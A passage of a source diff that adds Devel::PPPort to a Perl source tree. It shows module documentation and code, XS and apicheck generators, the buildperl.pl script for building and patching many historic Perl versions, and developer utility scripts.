+You should attempt older code to fully use F<ppport.h>, because the
+reduced pollution of newer Perl versions is an important thing. It's so
+important that the old polluting ways of original Perl modules will not be
+supported very far into the future, and your module will almost certainly
+break! By adapting to it now, you'll gain compatibility and a sense of
+having done the electronic ecology some good.
+
+=head2 How to use ppport.h
+
+Don't direct the users of your module to download C<Devel::PPPort>.
+They are most probably no XS writers. Also, don't make F<ppport.h>
+optional. Rather, just take the most recent copy of F<ppport.h> that
+you can find (e.g. by generating it with the latest C<Devel::PPPort>
+release from CPAN), copy it into your project, adjust your project to
+use it, and distribute the header along with your module.
+
+=head2 Running ppport.h
+
+But F<ppport.h> is more than just a C header. It's also a Perl script
+that can check your source code. It will suggest hints and portability
+notes, and can even make suggestions on how to change your code. You
+can run it like any other Perl program:
+
+ perl ppport.h [options] [files]
+
+It also has embedded documentation, so you can use
+
+ perldoc ppport.h
+
+to find out more about how to use it.
+
+=head1 FUNCTIONS
+
+=head2 WriteFile
+
+C<WriteFile> takes one optional argument. When called with one
+argument, it expects to be passed a filename. When called with
+no arguments, it defaults to the filename F<ppport.h>.
+
+The function returns a true value if the file was written successfully.
+Otherwise it returns a false value.
+
+=head2 GetFileContents
+
+C<GetFileContents> behaves like C<WriteFile> above, but returns the contents
+of the would-be file rather than writing it out.
+
+=head1 COMPATIBILITY
+
+F<ppport.h> supports Perl versions from __MIN_PERL__ to __MAX_PERL__
+in threaded and non-threaded configurations.
+
+=head2 Provided Perl compatibility API
+
+The header file written by this module, typically F<ppport.h>, provides
+access to the following elements of the Perl API that is not available
+in older Perl releases:
+
+ __PROVIDED_API__
+
+=head2 Perl API not supported by ppport.h
+
+There is still a big part of the API not supported by F<ppport.h>.
+Either because it doesn't make sense to back-port that part of the API,
+or simply because it hasn't been implemented yet. Patches welcome!
+
+Here's a list of the currently unsupported API, and also the version of
+Perl below which it is unsupported:
+
+=over 4
+
+__UNSUPPORTED_API__
+
+=back
+
+=head1 BUGS
+
+If you find any bugs, C<Devel::PPPort> doesn't seem to build on your
+system, or any of its tests fail, please send a bug report to
+L<perlbug@perl.org|mailto:perlbug@perl.org>.
+
+=head1 AUTHORS
+
+=over 2
+
+=item *
+
+Version 1.x of Devel::PPPort was written by Kenneth Albanowski.
+
+=item *
+
+Version 2.x was ported to the Perl core by Paul Marquess.
+
+=item *
+
+Version 3.x was ported back to CPAN by Marcus Holland-Moritz.
+
+=item *
+
+Versions >= 3.22 are maintained with support from Matthew Horsfall (alh).
+
+=back
+
+=head1 COPYRIGHT
+
+Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+
+Version 2.x, Copyright (C) 2001, Paul Marquess.
+
+Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<h2xs>, L<ppport.h>.
+
+=cut
+
+package Devel::PPPort;
+
+use strict;
+use vars qw($VERSION $data);
+
+$VERSION = '3.40';
+
+sub _init_data
+{
+ $data = do { local $/; <DATA> };
+ my $pkg = 'Devel::PPPort';
+ $data =~ s/__PERL_VERSION__/$]/g;
+ $data =~ s/__VERSION__/$VERSION/g;
+ $data =~ s/__PKG__/$pkg/g;
+ $data =~ s/^\|>//gm;
+}
+
+sub GetFileContents {
+ my $file = shift || 'ppport.h';
+ defined $data or _init_data();
+ my $copy = $data;
+ $copy =~ s/\bppport\.h\b/$file/g;
+
+ return $copy;
+}
+
+sub WriteFile
+{
+ my $file = shift || 'ppport.h';
+ my $data = GetFileContents($file);
+ open F, ">$file" or return undef;
+ print F $data;
+ close F;
+
+ return 1;
+}
+
+1;
+
+__DATA__
+#if 0
+<<'SKIP';
+#endif
+/*
+----------------------------------------------------------------------
+
+ ppport.h -- Perl/Pollution/Portability Version __VERSION__
+
+ Automatically created by __PKG__ running under perl __PERL_VERSION__.
+
+ Do NOT edit this file directly! -- Edit PPPort_pm.PL and the
+ includes in parts/inc/ instead.
+
+ Use 'perldoc ppport.h' to view the documentation below.
+
+----------------------------------------------------------------------
+
+SKIP
+
+%include ppphdoc { indent => '|>' }
+
+%include ppphbin
+
+__DATA__
+*/
+
+#ifndef _P_P_PORTABILITY_H_
+#define _P_P_PORTABILITY_H_
+
+#ifndef DPPP_NAMESPACE
+# define DPPP_NAMESPACE DPPP_
+#endif
+
+#define DPPP_CAT2(x,y) CAT2(x,y)
+#define DPPP_(name) DPPP_CAT2(DPPP_NAMESPACE, name)
+
+%include version
+
+%include threads
+
+%include limits
+
+%include uv
+
+%include memory
+
+%include magic
+
+%include misc
+
+%include format
+
+%include mess
+
+%include variables
+
+%include mPUSH
+
+%include call
+
+%include newRV
+
+%include newCONSTSUB
+
+%include MY_CXT
+
+%include SvREFCNT
+
+%include newSV_type
+
+%include newSVpv
+
+%include SvPV
+
+%include Sv_set
+
+%include sv_xpvf
+
+%include shared_pv
+
+%include HvNAME
+
+%include gv
+
+%include warn
+
+%include pvs
+
+%include cop
+
+%include grok
+
+%include snprintf
+
+%include sprintf
+
+%include exception
+
+%include strlfuncs
+
+%include pv_tools
+
+#endif /* _P_P_PORTABILITY_H_ */
+
+/* End of File ppport.h */
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_xs.PL b/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_xs.PL
new file mode 100644
index 00000000000..d00cffa81bf
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_xs.PL
@@ -0,0 +1,128 @@
+################################################################################
+#
+# PPPort_xs.PL -- generate RealPPPort.xs
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+$^W = 1;
+require "./parts/ppptools.pl";
+
+my %SECTION = (
+ xshead => { code => '', header => "/* ---- code from __FILE__ ---- */" },
+ xsinit => { code => '', header => "/* ---- code from __FILE__ ---- */" },
+ xsmisc => { code => '', header => "/* ---- code from __FILE__ ---- */" },
+ xsboot => { code => '', header => "/* ---- code from __FILE__ ---- */", indent => "\t" },
+ xsubs => { code => '', header => <<ENDHEADER },
+##----------------------------------------------------------------------
+## XSUBs for testing the implementation in __FILE__
+##----------------------------------------------------------------------
+ENDHEADER
+);
+
+if (not exists $ENV{PERL_NO_GET_CONTEXT} or $ENV{PERL_NO_GET_CONTEXT}) {
+$SECTION{xshead}{code} .= <<END;
+#define PERL_NO_GET_CONTEXT
+END
+}
+
+my $file;
+my $sec;
+
+for $file (all_files_in_dir('parts/inc')) {
+ my $spec = parse_partspec($file);
+
+ my $msg = 0;
+ for $sec (keys %SECTION) {
+ if (exists $spec->{$sec}) {
+ $msg++ or print "adding XS code from $file\n";
+ if (exists $SECTION{$sec}{header}) {
+ my $header = $SECTION{$sec}{header};
+ $header =~ s/__FILE__/$file/g;
+ $SECTION{$sec}{code} .= $header . "\n";
+ }
+ $SECTION{$sec}{code} .= $spec->{$sec} . "\n";
+ }
+ }
+}
+
+my $data = do { local $/; <DATA> };
+
+for $sec (keys %SECTION) {
+ my $code = $SECTION{$sec}{code};
+ if (exists $SECTION{$sec}{indent}) {
+ $code =~ s/^/$SECTION{$sec}{indent}/gm;
+ }
+ $code =~ s/[\r\n]+$//;
+ $data =~ s/^__\U$sec\E__$/$code/m;
+}
+
+open FH, ">RealPPPort.xs" or die "RealPPPort.xs: $!\n";
+print FH $data;
+close FH;
+
+exit 0;
+
+__DATA__
+/*******************************************************************************
+*
+* !!!!! Do NOT edit this file directly! -- Edit PPPort_xs.PL instead. !!!!!
+*
+* This file was automatically generated from the definition files in the
+* parts/inc/ subdirectory by PPPort_xs.PL. To learn more about how all this
+* works, please read the F<HACKERS> file that came with this distribution.
+*
+********************************************************************************
+*
+* Perl/Pollution/Portability
+*
+********************************************************************************
+*
+* Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+* Version 2.x, Copyright (C) 2001, Paul Marquess.
+* Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+*
+* This program is free software; you can redistribute it and/or
+* modify it under the same terms as Perl itself.
+*
+*******************************************************************************/
+
+/* ========== BEGIN XSHEAD ================================================== */
+
+__XSHEAD__
+
+/* =========== END XSHEAD =================================================== */
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+/* ========== BEGIN XSINIT ================================================== */
+
+__XSINIT__
+
+/* =========== END XSINIT =================================================== */
+
+#include "ppport.h"
+
+/* ========== BEGIN XSMISC ================================================== */
+
+__XSMISC__
+
+/* =========== END XSMISC =================================================== */
+
+MODULE = Devel::PPPort PACKAGE = Devel::PPPort
+
+BOOT:
+__XSBOOT__
+
+__XSUBS__
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/apicheck_c.PL b/gnu/usr.bin/perl/dist/Devel-PPPort/apicheck_c.PL
new file mode 100644
index 00000000000..c9ff8a416dc
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/apicheck_c.PL
@@ -0,0 +1,22 @@
+################################################################################
+#
+# apicheck_c.PL -- generate apicheck.c
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+
+my $out = 'apicheck.c';
+my @api = map { /^--api=(\w+)$/ ? ($1) : () } @ARGV;
+print "creating $out", (@api ? " (@api)" : ''), "\n";
+system $^X, 'parts/apicheck.pl', @api, $out
+ and die "couldn't create $out\n";
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/buildperl.pl b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/buildperl.pl
new file mode 100644
index 00000000000..72c1929adc9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/buildperl.pl
@@ -0,0 +1,606 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# buildperl.pl -- build various versions of perl automatically
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use Getopt::Long;
+use Pod::Usage;
+use File::Find;
+use File::Path;
+use Data::Dumper;
+use IO::File;
+use Cwd;
+
+# TODO: - extra arguments to Configure
+
+#
+# --test-archives=1 check if archives can be read
+# --test-archives=2 like 1, but also extract archives
+# --test-archives=3 like 2, but also apply patches
+#
+
+my %opt = (
+ prefix => '/tmp/perl/install/<config>/<perl>',
+ build => '/tmp/perl/build/<config>',
+ source => '/tmp/perl/source',
+ force => 0,
+ test => 0,
+ install => 1,
+ oneshot => 0,
+ configure => 0,
+ 'test-archives' => 0,
+);
+
+my %config = (
+ default => {
+ config_args => '-des',
+ },
+ thread => {
+ config_args => '-des -Dusethreads',
+ masked_versions => [ qr/^5\.00[01234]/ ],
+ },
+ thread5005 => {
+ config_args => '-des -Duse5005threads',
+ masked_versions => [ qr/^5\.00[012345]|^5\.(9|\d\d)|^5\.8\.9/ ],
+ },
+ debug => {
+ config_args => '-des -Doptimize=-g',
+ },
+);
+
+my @patch = (
+ {
+ perl => [
+ qr/^5\.00[01234]/,
+ qw/
+ 5.005
+ 5.005_01
+ 5.005_02
+ 5.005_03
+ /,
+ ],
+ subs => [
+ [ \&patch_db, 1 ],
+ ],
+ },
+ {
+ perl => [
+ qw/
+ 5.6.0
+ 5.6.1
+ 5.7.0
+ 5.7.1
+ 5.7.2
+ 5.7.3
+ 5.8.0
+ /,
+ ],
+ subs => [
+ [ \&patch_db, 3 ],
+ ],
+ },
+ {
+ perl => [
+ qr/^5\.004_0[1234]$/,
+ ],
+ subs => [
+ [ \&patch_doio ],
+ ],
+ },
+ {
+ perl => [
+ qw/
+ 5.005
+ 5.005_01
+ 5.005_02
+ /,
+ ],
+ subs => [
+ [ \&patch_sysv, old_format => 1 ],
+ ],
+ },
+ {
+ perl => [
+ qw/
+ 5.005_03
+ 5.005_04
+ /,
+ qr/^5\.6\.[0-2]$/,
+ qr/^5\.7\.[0-3]$/,
+ qr/^5\.8\.[0-8]$/,
+ qr/^5\.9\.[0-5]$/
+ ],
+ subs => [
+ [ \&patch_sysv ],
+ ],
+ },
+ {
+ perl => [
+ qr/^5\.004_05$/,
+ qr/^5\.005(?:_0[1-4])?$/,
+ qr/^5\.6\.[01]$/,
+ ],
+ subs => [
+ [ \&patch_configure ],
+ [ \&patch_makedepend_lc ],
+ ],
+ },
+ {
+ perl => [
+ '5.8.0',
+ ],
+ subs => [
+ [ \&patch_makedepend_lc ],
+ ],
+ },
+);
+
+my(%perl, @perls);
+
+GetOptions(\%opt, qw(
+ config=s@
+ prefix=s
+ build=s
+ source=s
+ perl=s@
+ force
+ test
+ install!
+ test-archives=i
+ patch!
+ oneshot
+)) or pod2usage(2);
+
+my %current;
+
+if ($opt{patch} || $opt{oneshot}) {
+ @{$opt{perl}} == 1 or die "Exactly one --perl must be given with --patch or --oneshot\n";
+ my $perl = $opt{perl}[0];
+ patch_source($perl) if !exists $opt{patch} || $opt{patch};
+ if (exists $opt{oneshot}) {
+ eval { require String::ShellQuote };
+ die "--oneshot requires String::ShellQuote to be installed\n" if $@;
+ %current = (config => 'oneshot', version => $perl);
+ $config{oneshot} = { config_args => String::ShellQuote::shell_quote(@ARGV) };
+ build_and_install($perl{$perl});
+ }
+ exit 0;
+}
+
+if (exists $opt{config}) {
+ for my $cfg (@{$opt{config}}) {
+ exists $config{$cfg} or die "Unknown configuration: $cfg\n";
+ }
+}
+else {
+ $opt{config} = [sort keys %config];
+}
+
+find(sub {
+ /^(perl-?(5\..*))\.tar\.(gz|bz2|lzma)$/ or return;
+ $perl{$1} = { version => $2, source => $File::Find::name, compress => $3 };
+}, $opt{source});
+
+if (exists $opt{perl}) {
+ for my $perl (@{$opt{perl}}) {
+ my $p = $perl;
+ exists $perl{$p} or $p = "perl$perl";
+ exists $perl{$p} or $p = "perl-$perl";
+ exists $perl{$p} or die "Cannot find perl: $perl\n";
+ push @perls, $p;
+ }
+}
+else {
+ @perls = sort keys %perl;
+}
+
+if ($opt{'test-archives'}) {
+ my $test = 'test';
+ my $cwd = cwd;
+ -d $test or mkpath($test);
+ chdir $test or die "chdir $test: $!\n";
+ for my $perl (@perls) {
+ eval {
+ my $d = extract_source($perl{$perl});
+ if ($opt{'test-archives'} > 2) {
+ my $cwd2 = cwd;
+ chdir $d or die "chdir $d: $!\n";
+ patch_source($perl{$perl}{version});
+ chdir $cwd2 or die "chdir $cwd2:$!\n"
+ }
+ rmtree($d) if -e $d;
+ };
+ warn $@ if $@;
+ }
+ chdir $cwd or die "chdir $cwd: $!\n";
+ print STDERR "cleaning up\n";
+ rmtree($test);
+ exit 0;
+}
+
+for my $cfg (@{$opt{config}}) {
+ for my $perl (@perls) {
+ my $config = $config{$cfg};
+ %current = (config => $cfg, perl => $perl, version => $perl{$perl}{version});
+
+ if (is($config->{masked_versions}, $current{version})) {
+ print STDERR "skipping $perl for configuration $cfg (masked)\n";
+ next;
+ }
+
+ if (-d expand($opt{prefix}) and !$opt{force}) {
+ print STDERR "skipping $perl for configuration $cfg (already installed)\n";
+ next;
+ }
+
+ my $cwd = cwd;
+
+ my $build = expand($opt{build});
+ -d $build or mkpath($build);
+ chdir $build or die "chdir $build: $!\n";
+
+ print STDERR "building $perl with configuration $cfg\n";
+ buildperl($perl, $config);
+
+ chdir $cwd or die "chdir $cwd: $!\n";
+ }
+}
+
+sub expand
+{
+ my $in = shift;
+ $in =~ s/(<(\w+)>)/exists $current{$2} ? $current{$2} : $1/eg;
+ return $in;
+}
+
+sub is
+{
+ my($s1, $s2) = @_;
+
+ defined $s1 != defined $s2 and return 0;
+
+ ref $s2 and ($s1, $s2) = ($s2, $s1);
+
+ if (ref $s1) {
+ if (ref $s1 eq 'ARRAY') {
+ is($_, $s2) and return 1 for @$s1;
+ return 0;
+ }
+ return $s2 =~ $s1;
+ }
+
+ return $s1 eq $s2;
+}
+
+sub buildperl
+{
+ my($perl, $cfg) = @_;
+
+ my $d = extract_source($perl{$perl});
+ chdir $d or die "chdir $d: $!\n";
+
+ patch_source($perl{$perl}{version});
+
+ build_and_install($perl{$perl});
+}
+
+sub extract_source
+{
+ eval { require Archive::Tar };
+ die "Archive processing requires Archive::Tar to be installed\n" if $@;
+
+ my $perl = shift;
+
+ my $what = $opt{'test-archives'} ? 'test' : 'read';
+ print "${what}ing $perl->{source}\n";
+
+ my $target;
+
+ for my $f (Archive::Tar->list_archive($perl->{source})) {
+ my($t) = $f =~ /^([^\\\/]+)/ or die "ooops, should always match...\n";
+ die "refusing to extract $perl->{source}, as it would not extract to a single directory\n"
+ if defined $target and $target ne $t;
+ $target = $t;
+ }
+
+ if ($opt{'test-archives'} == 0 || $opt{'test-archives'} > 1) {
+ if (-d $target) {
+ print "removing old build directory $target\n";
+ rmtree($target);
+ }
+
+ print "extracting $perl->{source}\n";
+
+ Archive::Tar->extract_archive($perl->{source})
+ or die "extract failed: " . Archive::Tar->error() . "\n";
+
+ -d $target or die "oooops, $target not found\n";
+ }
+
+ return $target;
+}
+
+sub patch_source
+{
+ my $version = shift;
+
+ for my $p (@patch) {
+ if (is($p->{perl}, $version)) {
+ for my $s (@{$p->{subs}}) {
+ my($sub, @args) = @$s;
+ $sub->(@args);
+ }
+ }
+ }
+}
+
+sub build_and_install
+{
+ my $perl = shift;
+ my $prefix = expand($opt{prefix});
+
+ run_or_die(q{sed -i -e "s:\\*/\\*) finc=\\"-I\\`echo \\$file | sed 's#/\\[^/\\]\\*\\$##\\`\\" ;;:*/*) finc=\\"-I\\`echo \\$file | sed 's#/[^/]\\*\\$##'\\`\\" ;;:" makedepend.SH});
+
+ print "building perl $perl->{version} ($current{config})\n";
+
+ run_or_die("./Configure $config{$current{config}}{config_args} -Dusedevel -Uinstallusrbinperl -Dprefix=$prefix");
+ if (-f "x2p/makefile") {
+ run_or_die("sed -i -e '/^.*<builtin>/d' -e '/^.*<built-in>/d' -e '/^.*<command line>/d' -e '/^.*<command-line>/d' makefile x2p/makefile");
+ }
+ run_or_die("make all");
+ run("make test") if $opt{test};
+ if ($opt{install}) {
+ run_or_die("make install");
+ }
+ else {
+ print "\n*** NOT INSTALLING PERL ***\n\n";
+ }
+}
+
+sub patch_db
+{
+ my $ver = shift;
+ print "patching ext/DB_File/DB_File.xs\n";
+ run_or_die("sed -i -e 's/<db.h>/<db$ver\\/db.h>/' ext/DB_File/DB_File.xs");
+}
+
+sub patch_doio
+{
+ patch(<<'END');
+--- doio.c.org 2004-06-07 23:14:45.000000000 +0200
++++ doio.c 2003-11-04 08:03:03.000000000 +0100
+@@ -75,6 +75,16 @@
+ # endif
+ #endif
+
++#if _SEM_SEMUN_UNDEFINED
++union semun
++{
++ int val;
++ struct semid_ds *buf;
++ unsigned short int *array;
++ struct seminfo *__buf;
++};
++#endif
++
+ bool
+ do_open(gv,name,len,as_raw,rawmode,rawperm,supplied_fp)
+ GV *gv;
+END
+}
+
+sub patch_sysv
+{
+ my %opt = @_;
+
+ # check if patching is required
+ return if $^O ne 'linux' or -f '/usr/include/asm/page.h';
+
+ if ($opt{old_format}) {
+ patch(<<'END');
+--- ext/IPC/SysV/SysV.xs.org 1998-07-20 10:20:07.000000000 +0200
++++ ext/IPC/SysV/SysV.xs 2007-08-12 10:51:06.000000000 +0200
+@@ -3,9 +3,6 @@
+ #include "XSUB.h"
+
+ #include <sys/types.h>
+-#ifdef __linux__
+-#include <asm/page.h>
+-#endif
+ #if defined(HAS_MSG) || defined(HAS_SEM) || defined(HAS_SHM)
+ #include <sys/ipc.h>
+ #ifdef HAS_MSG
+END
+ }
+ else {
+ patch(<<'END');
+--- ext/IPC/SysV/SysV.xs.org 2007-08-11 00:12:46.000000000 +0200
++++ ext/IPC/SysV/SysV.xs 2007-08-11 00:10:51.000000000 +0200
+@@ -3,9 +3,6 @@
+ #include "XSUB.h"
+
+ #include <sys/types.h>
+-#ifdef __linux__
+-# include <asm/page.h>
+-#endif
+ #if defined(HAS_MSG) || defined(HAS_SEM) || defined(HAS_SHM)
+ #ifndef HAS_SEM
+ # include <sys/ipc.h>
+END
+ }
+}
+
+sub patch_configure
+{
+ patch(<<'END');
+--- Configure
++++ Configure
+@@ -3380,6 +3380,18 @@
+ test "X$gfpthkeep" != Xy && gfpth=""
+ EOSC
+
++# gcc 3.1 complains about adding -Idirectories that it already knows about,
++# so we will take those off from locincpth.
++case "$gccversion" in
++3*)
++ echo "main(){}">try.c
++ for incdir in `$cc -v -c try.c 2>&1 | \
++ sed '1,/^#include <\.\.\.>/d;/^End of search list/,$d;s/^ //'` ; do
++ locincpth=`echo $locincpth | sed s!$incdir!!`
++ done
++ $rm -f try try.*
++esac
++
+ : What should the include directory be ?
+ echo " "
+ $echo $n "Hmm... $c"
+END
+}
+
+sub patch_makedepend_lc
+{
+ patch(<<'END');
+--- makedepend.SH
++++ makedepend.SH
+@@ -58,6 +58,10 @@ case $PERL_CONFIG_SH in
+ ;;
+ esac
+
++# Avoid localized gcc/cc messages
++LC_ALL=C
++export LC_ALL
++
+ # We need .. when we are in the x2p directory if we are using the
+ # cppstdin wrapper script.
+ # Put .. and . first so that we pick up the present cppstdin, not
+END
+}
+
+sub patch
+{
+ my($patch) = @_;
+ print "patching $_\n" for $patch =~ /^\+{3}\s+(\S+)/gm;
+ my $diff = 'tmp.diff';
+ write_or_die($diff, $patch);
+ run_or_die("patch -s -p0 <$diff");
+ unlink $diff or die "unlink $diff: $!\n";
+}
+
+sub write_or_die
+{
+ my($file, $data) = @_;
+ my $fh = new IO::File ">$file" or die "$file: $!\n";
+ $fh->print($data);
+}
+
+sub run_or_die
+{
+ # print "[running @_]\n";
+ system "@_" and die "@_: $?\n";
+}
+
+sub run
+{
+ # print "[running @_]\n";
+ system "@_" and warn "@_: $?\n";
+}
+
+__END__
+
+=head1 NAME
+
+buildperl.pl - build/install perl distributions
+
+=head1 SYNOPSIS
+
+ perl buildperl.pl [options]
+
+ --help show this help
+
+ --source=directory directory containing source tarballs
+ [default: /tmp/perl/source]
+
+ --build=directory directory used for building perls [EXPAND]
+ [default: /tmp/perl/build/<config>]
+
+ --prefix=directory use this installation prefix [EXPAND]
+ [default:
+ /tmp/perl/install/<config>/<perl>]
+
+ --config=configuration build this configuration [MULTI]
+ [default: all possible configurations]
+
+ --perl=version build this version of perl [MULTI]
+ [default: all possible versions]
+
+ --force rebuild and install already installed
+ versions
+
+ --test run test suite after building
+
+ --noinstall don't install after building
+
+ --patch only patch the perl source in the current
+ directory
+
+ --oneshot build from the perl source in the current
+ directory (extra arguments are passed to
+ Configure)
+
+ options tagged with [MULTI] can be given multiple times
+
+ options tagged with [EXPAND] expand the following items
+
+ <perl> versioned perl directory (e.g. 'perl-5.6.1')
+ <version> perl version (e.g. '5.6.1')
+ <config> name of the configuration (e.g. 'default')
+
+=head1 EXAMPLES
+
+The following examples assume that your Perl source tarballs are
+in F</tmp/perl/source>. If they are somewhere else, use the C<--source>
+option to specify a different source directory.
+
+To build a default configuration of perl5.004_05 and install it
+to F</opt/perl5.004_05>, you would say:
+
+ buildperl.pl --prefix='/opt/<perl>' --perl=5.004_05 --config=default
+
+To build debugging configurations of all perls in the source directory
+and install them to F</opt>, use:
+
+ buildperl.pl --prefix='/opt/<perl>' --config=debug
+
+To build all configurations for perl-5.8.5 and perl-5.8.6, test them
+and don't install them, run:
+
+ buildperl.pl --perl=5.8.5 --perl=5.8.6 --test --noinstall
+
+To build and install a single version of perl with special configuration
+options, use:
+
+ buildperl.pl --perl=5.6.0 --prefix=/opt/p560ld --oneshot -- -des \
+ -Duselongdouble
+
+=head1 COPYRIGHT
+
+Copyright (c) 2004-2013, Marcus Holland-Moritz.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<Devel::PPPort> and L<HACKERS>.
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/devtools.pl b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/devtools.pl
new file mode 100644
index 00000000000..465c3cca255
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/devtools.pl
@@ -0,0 +1,123 @@
+################################################################################
+#
+# devtools.pl -- various utility functions
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use IO::File;
+
+eval "use Term::ANSIColor";
+$@ and eval "sub colored { pop; @_ }";
+
+my @argvcopy = @ARGV;
+
+sub verbose
+{
+ if ($opt{verbose}) {
+ my @out = @_;
+ s/^(.*)/colored("($0) ", 'bold blue').colored($1, 'blue')/eg for @out;
+ print STDERR @out;
+ }
+}
+
+sub ddverbose
+{
+ return $opt{verbose} ? ('--verbose') : ();
+}
+
+sub runtool
+{
+ my $opt = ref $_[0] ? shift @_ : {};
+ my($prog, @args) = @_;
+ my $sysstr = join ' ', map { "'$_'" } $prog, @args;
+ $sysstr .= " >$opt->{'out'}" if exists $opt->{'out'};
+ $sysstr .= " 2>$opt->{'err'}" if exists $opt->{'err'};
+ verbose("running $sysstr\n");
+ my $rv = system $sysstr;
+ verbose("$prog => exit code $rv\n");
+ return not $rv;
+}
+
+sub runperl
+{
+ my $opt = ref $_[0] ? shift @_ : {};
+ runtool($opt, $^X, @_);
+}
+
+sub run
+{
+ my $prog = shift;
+ my @args = @_;
+
+ runtool({ 'out' => 'tmp.out', 'err' => 'tmp.err' }, $prog, @args);
+
+ my $out = IO::File->new("tmp.out") or die "tmp.out: $!\n";
+ my $err = IO::File->new("tmp.err") or die "tmp.err: $!\n";
+
+ my %rval = (
+ status => $? >> 8,
+ stdout => [<$out>],
+ stderr => [<$err>],
+ didnotrun => 0,
+ );
+
+ unlink "tmp.out", "tmp.err";
+
+ $? & 128 and $rval{core} = 1;
+ $? & 127 and $rval{signal} = $? & 127;
+
+ return \%rval;
+}
+
+sub ident_str
+{
+ return "$^X $0 @argvcopy";
+}
+
+sub identify
+{
+ verbose(ident_str() . "\n");
+}
+
+sub ask($)
+{
+ my $q = shift;
+ my $a;
+ local $| = 1;
+ print "\n$q [y/n] ";
+ do { $a = <>; } while ($a !~ /^\s*([yn])\s*$/i);
+ return lc $1 eq 'y';
+}
+
+sub quit_now
+{
+ print "\nSorry, cannot continue.\n\n";
+ exit 1;
+}
+
+sub ask_or_quit
+{
+ quit_now unless &ask;
+}
+
+sub eta
+{
+ my($start, $i, $n) = @_;
+ return "--:--:--" if $i < 3;
+ my $elapsed = tv_interval($start);
+ my $h = int($elapsed*($n-$i)/$i);
+ my $s = $h % 60; $h /= 60;
+ my $m = $h % 60; $h /= 60;
+ return sprintf "%02d:%02d:%02d", $h, $m, $s;
+}
+
+1;
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mkapidoc.sh b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mkapidoc.sh
new file mode 100644
index 00000000000..ff96ccc6a64
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mkapidoc.sh
@@ -0,0 +1,81 @@
+#!/bin/bash
+################################################################################
+#
+# mkapidoc.sh -- generate apidoc.fnc from scanning the Perl source
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+function isperlroot
+{
+ [ -f "$1/embed.fnc" ] && [ -f "$1/perl.h" ]
+}
+
+function usage
+{
+ echo "USAGE: $0 [perlroot] [output-file] [embed.fnc]"
+ exit 0
+}
+
+if [ -z "$1" ]; then
+ if isperlroot "../../.."; then
+ PERLROOT=../../..
+ else
+ PERLROOT=.
+ fi
+else
+ PERLROOT=$1
+fi
+
+if [ -z "$2" ]; then
+ if [ -f "parts/apidoc.fnc" ]; then
+ OUTPUT="parts/apidoc.fnc"
+ else
+ usage
+ fi
+else
+ OUTPUT=$2
+fi
+
+if [ -z "$3" ]; then
+ if [ -f "parts/embed.fnc" ]; then
+ EMBED="parts/embed.fnc"
+ else
+ usage
+ fi
+else
+ EMBED=$3
+fi
+
+if isperlroot $PERLROOT; then
+ cat >$OUTPUT <<EOF
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+:
+: !!!! Do NOT edit this file directly! -- Edit devel/mkapidoc.sh instead. !!!!
+:
+: This file was automatically generated from the API documentation scattered
+: all over the Perl source code. To learn more about how all this works,
+: please read the F<HACKERS> file that came with this distribution.
+:
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+
+:
+: This file lists all API functions/macros that are documented in the Perl
+: source code, but are not contained in F<embed.fnc>.
+:
+
+EOF
+ grep -hr '^=for apidoc' $PERLROOT | sed -e 's/=for apidoc //' | grep '|' | sort | uniq \
